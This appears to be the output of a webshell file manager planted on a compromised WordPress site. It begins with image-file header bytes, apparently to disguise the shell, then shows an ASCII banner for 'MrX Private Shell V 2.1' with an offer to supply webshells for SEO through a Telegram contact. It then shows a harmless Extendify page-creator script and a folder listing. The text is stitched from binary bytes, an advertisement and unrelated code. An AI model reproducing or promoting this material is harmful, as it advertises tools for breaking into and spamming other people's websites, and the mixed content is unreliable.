����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { whenEditorIsReady } from '@shared/lib/wp';
import '@page-creator/page-creator.css';
import { hasPageCreatorEnabled } from '@help-center/lib/utils';
import { MainButton } from '@page-creator/components/MainButton';
import { Modal } from '@page-creator/components/Modal';
import { render } from '@shared/lib/dom';
const isPageCreatorEnabled = () => {
return (
hasPageCreatorEnabled &&
window.wp.data.select('core/editor').getCurrentPostType() === 'page'
);
};
whenEditorIsReady().then(() => {
if (!isPageCreatorEnabled()) return;
const id = 'extendify-page-creator-btn';
const className = 'extendify-page-creator';
const page = '.editor-document-tools';
// const fse = '.edit-site-header-edit-mode__start';
if (document.getElementById(id)) return;
const btnWrap = document.createElement('div');
const btn = Object.assign(btnWrap, { id, className });
render(<MainButton />, btn);
setTimeout(() => {
document.querySelector(page)?.after(btn);
// document.querySelector(fse)?.append(btn);
}, 300);
const mdl = 'extendify-page-creator-modal';
if (document.getElementById(mdl)) return;
const modalWrap = document.createElement('div');
const modal = Object.assign(modalWrap, { id: mdl, className });
document.body.append(modal);
render(<Modal />, modal);
});
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| _data | Folder | 0755 |
|
|
| api | Folder | 0755 |
|
|
| components | Folder | 0755 |
|
|
| hooks | Folder | 0755 |
|
|
| icons | Folder | 0755 |
|
|
| lib | Folder | 0755 |
|
|
| pages | Folder | 0755 |
|
|
| state | Folder | 0755 |
|
|
| util | Folder | 0755 |
|
|
| page-creator.css | File | 307 B | 0644 |
|
| page-creator.js | File | 1.26 KB | 0644 |
|